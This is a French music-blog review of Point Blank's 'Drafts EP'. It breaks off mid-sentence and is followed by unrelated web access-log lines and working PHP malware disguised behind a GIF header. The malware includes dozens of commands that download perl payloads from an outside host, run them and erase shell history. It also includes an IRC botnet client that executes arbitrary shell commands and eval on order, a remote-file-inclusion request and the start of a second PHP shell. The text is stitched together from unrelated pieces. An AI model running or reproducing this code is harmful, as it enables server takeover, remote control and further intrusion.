<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Fdecouvertes%2Fpoint-blank-drafts-ep-1551&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><strong><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.musicalicious.net/wp-content/uploads/2011/06/cover.jpg"><img class="alignleft size-medium wp-image-1552" style="margin: 0px 5px;" title="Point Blank - Drafts EP" src="http://www.musicalicious.net/wp-content/uploads/2011/06/cover-300x300.jpg" alt="" width="163" height="163" /></a>Artiste</span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Point Blank<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nom de l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Drafts EP<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Date de parution</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Février 2011<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Genre musical</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Hip-Hop<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nationalité</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Danemark<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Ecoutez l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://pointblankdk.bandcamp.com " target="_blank">Bandcamp</a> &#8211; <a href="http://popplers5.bandcamp.com/download/album?enc=mp3-320&amp;fsig=cdaf71674f9805caaca4730d8bbe7ffe&amp;id=2069188674&amp;ts=1307022763.3215590620" target="_blank">Free Download</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Site Officiel</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : <a href="Bandcamp" target="_blank">Bandcamp</a> &#8211; <a href="http://www.facebook.com/pointblankdk" target="_blank">Facebook</a></span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Myspace </span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">: </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="www.myspace.com/pointblankdenmark " target="_blank">www.myspace.com/pointblankdenmark</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Vous aimerez aussi</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : The Roots, Common, Hocus Pocus,<br />
</span></span></span><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;"><strong><br />
Morceaux choisis</strong></span><span style="font-family: 'book antiqua', palatino;"> : Ain&#8217;t No Promised, Yes yes Y&#8217;all, I Got Soul, That Place, It&#8217;s Simple<br />
</span></span></p>
<object type="application/x-shockwave-flash" data="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" width="500" height="110" id="mp3fp_3"><param name="movie" value="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" /><param name="wmode" value="transparent"/><param name="FlashVars" value="mp3=http://www.musicalicious.net/wp-content/uploads/2011/06/Point Blank - Drafts - 01 Ain't Nothin' Promised (Preachin').mp3|http://www.musicalicious.net/wp-content/uploads/2011/06/Point Blank - Drafts - 02 Yes Yes Y'all.mp3|http://www.musicalicious.net/wp-content/uploads/2011/06/Point Blank - Drafts - 03 I Got Soul.mp3|http://www.musicalicious.net/wp-content/uploads/2011/06/Point Blank - Drafts - 04 That Place.mp3|http://www.musicalicious.net/wp-content/uploads/2011/06/Point Blank - Drafts - 05 It's Simple.mp3&amp;title= Point Blank - Ain't No Promised (Preachin')| Point Blank - Yes Yes Y'all| Point Blank - I Got Soul| Point Blank - That Place| Point Blank - It's Simple&amp;width=500&amp;height=110&amp;volume=100&amp;autoplay=0&amp;loop=0&amp;showvolume=1&amp;showslider=1&amp;showloading=autohide&amp;buttonwidth=25&amp;sliderwidth=15&amp;sliderheight=10&amp;volumewidth=30&amp;volumeheight=10&amp;loadingcolor=BBDFDC&amp;bgcolor1=7c7c7c&amp;bgcolor2=333333&amp;slidercolor1=cccccc&amp;slidercolor2=999999&amp;sliderovercolor=BBDFDC&amp;buttoncolor=ffffff&amp;buttonovercolor=BBDFDC&amp;textcolor=ffffff&amp;showlist=1&amp;playlistcolor=000000&amp;playlistalpha=100&amp;currentmp3color=BBDFDC&amp;scrollbarcolor=ffffff&amp;scrollbarovercolor=BBDFDC&amp;showplaylistnumbers=1" /></object></em><span style="font-family: 'book antiqua';"><strong> </strong></span></p>
<p><span style="font-family: 'book antiqua';"><strong>Description  : </strong>C&#8217;est en écoutant l&#8217;une des playlists de <a href="https://www.facebook.com/pages/LATIN-URBAN/88318487149" target="_blank">Latin Urban</a> que j&#8217;ai pu découvrir le Hip-Hop de Point Blank, un collectif de 7 membres originaire du Danemark (Aarhus). La particularité de ce groupe se trouve, comme les légendaires The Roots pour ne citer qu&#8217;eux, dans leur com
89.105.194.89 - - [24/Aug/2015:09:12:54 +0200] "GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1" 404 295 "http://musicalicious.net/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36"
2015-07-04 08:30:03 114.31.3.11
websitelooker.com : 114.31.3.11
whois.domaintools.com : 114.31.3.11
GIF89a???????????!??????,???????D?;?<?
<?
$url="http://magic.yantar.by/";
exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;GET '.$url.'mild.txt > mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt;rm -rf mild.txt*;');
exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
passthru('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
passthru('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
system('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
system('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
shell_exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
popen('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;curl -O '.$url.'mild.txt; perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;lynx -source '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
popen('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@exec('cd /tmp;GET '.$url.'mild.txt > mild.txt;perl mild.txt;rm -rf mild.txt*;');
@exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@passthru('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@system('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@system('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;curl -O '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;perl mild.txt.txt;rm -rf mild.txt*;');
@shell_exec('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;rm -rf mild.txt*;');
@popen('cd /tmp;wget '.$url.'mild.txt;perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;curl -O '.$url.'mild.txt; perl mild.txt;rm mild.txt*;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lwp-download '.$url.'mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lynx -source '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;fetch '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
@popen('cd /tmp;GET '.$url.'mild.txt >mild.txt;perl mild.txt;/usr/bin/perl mild.txt;rm -rf $HISTFILE', "r");
exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.indoforum.org;rm -rf perl.txt*;');
exec('cd /tmp;GET '.$url.'perl.txt > perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.indoforum.org;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
passthru('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
passthru('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
system('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
system('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
shell_exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.indoforum.org.txt;rm -rf perl.txt*;');
shell_exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
popen('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;curl -O '.$url.'perl.txt; perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;lynx -source '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
popen('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@exec('cd /tmp;GET '.$url.'perl.txt > perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.indoforum.org;rm -rf perl.txt*;');
@exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@passthru('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@system('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;curl -O '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;perl perl.txt irc.telkom.name;rm -rf perl.txt*;');
@shell_exec('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.indoforum.org;rm -rf perl.txt*;');
@popen('cd /tmp;wget '.$url.'perl.txt;perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;curl -O '.$url.'perl.txt; perl perl.txt irc.telkom.name;rm perl.txt*;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lwp-download '.$url.'perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;lynx -source '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;fetch '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
@popen('cd /tmp;GET '.$url.'perl.txt >perl.txt;perl perl.txt irc.telkom.name;/usr/bin/perl perl.txt irc.telkom.name;rm -rf $HISTFILE', "r");
?>

<?

set_time_limit(0);
error_reporting(0);
echo "TeamHack!";

class pBot
{
 var $config = array("server"=>"irc.byroe.org",
                     "port"=>"6667",
                     "pass"=>"",
                     "prefix"=>"spy|",
                     "maxrand"=>"03",
                     "chan"=>"#fullmagic",
                     "chan2"=>"#fullmagic",
                     "key"=>"",
                     "modes"=>"+p",
                     "password"=>"sempakz",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname ( remember: /setvhost newbie.aja )
                     );
 var $users = array();
 function start()
 {
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
       $this->start();
    $ident = $this->config['prefix'];
    $alph = range("0","100");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,100)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER ".$ident." 127.0.0.1 localhost :4..:7&#189;4:..8 ".php_uname()." 4..:7&#189;4:..");
    $this->set_nick();
    $this->main();
 }
 function main()
 {
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $cmd = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($cmd[1]) && $cmd[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
          $this->privmsg($this->config['chan2'],"[2uname!2]: $uname (safe: $safemode)");
          $this->privmsg($this->config['chan2'],"[2vuln!2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
       }
       if(isset($cmd[1]) && $cmd[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
             switch($cmd[1])
             {
                case "QUIT":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PART":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PRIVMSG":
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "user": 
                              if($mcmd[1]==$this->config['password']) 
                              { 
                                 $this->privmsg($this->config['chan'],"[2Auth2]: 4 Siap 8 Boss $nick"); 
                                 $this->log_in($host); 
                              } 
                              else 
                              { 
                                 $this->privmsg($this->config['chan'],"[2Auth2]: 9 Si 8 $nick 4 MaLing....!!"); 
                              } 
                            break;
                         }
                      }
                   }
                   elseif($this->is_logged_in($host))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "loadperl":
                               if(count($mcmd)>2)
                               {
                                  $this->loadperl($mcmd[1]);
                               }
                            break;
                            case "dns":
                               if(isset($mcmd[1]))
                               {
                                  $ip = explode(".",$mcmd[1]);
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                  {
                                     $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
                                  }
                               }
                            break;
                            case "info":
                            case "bot":
                               $this->privmsg($this->config['chan'],"[212TeamHack4-8Bot2]");
                            break;
                            case "rndnick":
                               $this->set_nick();
                            break;
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1]));
                            break;
                            case "eval":
                              $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
                            case "sexec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = shell_exec($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "exec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = exec($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "passthru":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = passthru($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "popen":
                               if(isset($mcmd[1]))
                               {
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                  $this->privmsg($this->config['chan'],"[2popen2]: $command");
                                  $pipe = popen($command,"r");
                                  while(!feof($pipe))
                                  {
                                     $pbuf = trim(fgets($pipe,512));
                                     if($pbuf != NULL)
                                        $this->privmsg($this->config['chan'],"     : $pbuf");
                                  }
                                  pclose($pipe);
                               }  

                            case "system":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = system($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "download":
                               if(count($mcmd) > 2)
                               {
                                  if(!$fp = fopen($mcmd[2],"w"))
                                  {
                                     $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download. Permissao denied.");
                                  }
                                  else
                                  {
                                     if(!$get = file($mcmd[1]))
                                     {
                                        $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download de 2".$mcmd[1]."2");
                                     }
                                     else
                                     {
                                        for($i=0;$i<=count($get);$i++)
                                        {
                                           fwrite($fp,$get[$i]);
                                        }
                                        $this->privmsg($this->config['chan'],"[2download2]: Arquivo 2".$mcmd[1]."2 baixado para 2".$mcmd[2]."2");
                                     }
                                     fclose($fp);
                                  }
                               }
                               else { $this->privmsg($this->config['chan'],"[2download2]: use .download http://sman2-wng.sch.id/new/config1/thumbs/"); }
                            break;
                            case "logout":
                               $this->log_out($host);
                               $this->privmsg($this->config['chan'],"[2auth2]: $nick deslogado!");
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       $old_buf = $this->buf;
    }
    $this->start();
 }
 function send($msg)
 {
    fwrite($this->conn,"$msgrn");

 }
 function join($chan,$key=NULL)
 {
    $this->send("JOIN $chan $key");
 }
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function notice($to,$msg)
 {
    $this->send("NOTICE $to :$msg");
 }
 function is_logged_in($host)
 {
    if(isset($this->users[$host]))
       return 1;
    else
       return 0;
 }
 function log_in($host)
 {
    $this->users[$host] = true;
 }
 function log_out($host)
 {
    unset($this->users[$host]);
 }
 function set_nick()
 {
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
          $this->nick = "[A]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
          $this->nick = "[I]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
          $this->nick = "[X]";
       else
          $this->nick = "[U]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
 }
  function loadperl($ip)
 {
    $this->privmsg($this->config['chan'],"[2loadperl2]: loadperl ke $ip");
    $dc_source = "wget http://magic.yantar.by/milds.txt";
    if (is_writable("/tmp"))
    {
      if (file_exists("/tmp/milds.txt")) { unlink("/tmp/milds.txt"); }
      $fp=fopen("/tmp/milds.txt","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /tmp/milds.txt");
      unlink("/tmp/milds.txt");
    }
    else
    {
    if (is_writable("/var/tmp"))
    {
      if (file_exists("/var/tmp/milds.txt")) { unlink("/var/tmp/milds.txt"); }
      $fp=fopen("/var/tmp/milds.txt","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /var/tmp/milds.txt");
      unlink("/var/tmp/milds.txt");
    }
    if (is_writable("."))
    {
      if (file_exists("milds.txt")) { unlink("milds.txt"); }
      $fp=fopen("milds.txt","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl milds.txt $ip &");
      unlink("milds.txt");
    }
    }
  }

}

$bot = new pBot; 
$bot->start(); 

?>

114.31.3.11 - - [04/Jul/2015:05:37:56 +0200] "GET /doc/PHPExcel/elementindex_PHPExcel_Settings.html&sa=U&ei=U0mXVbS6IJCjugTU0ILgBQ&ved=0CJMBEBYwGThk&usg=AFQjCNGfSF6rk2HBd5_1upH6QnpsC8HMjQ//common/db.php?commonpath=http://magic.yantar.by/id
2015-07-03 00:30:03 148.251.189.16
websitelooker.com : 148.251.189.16
whois.domaintools.com : 148.251.189.16
<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "PLaTo<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
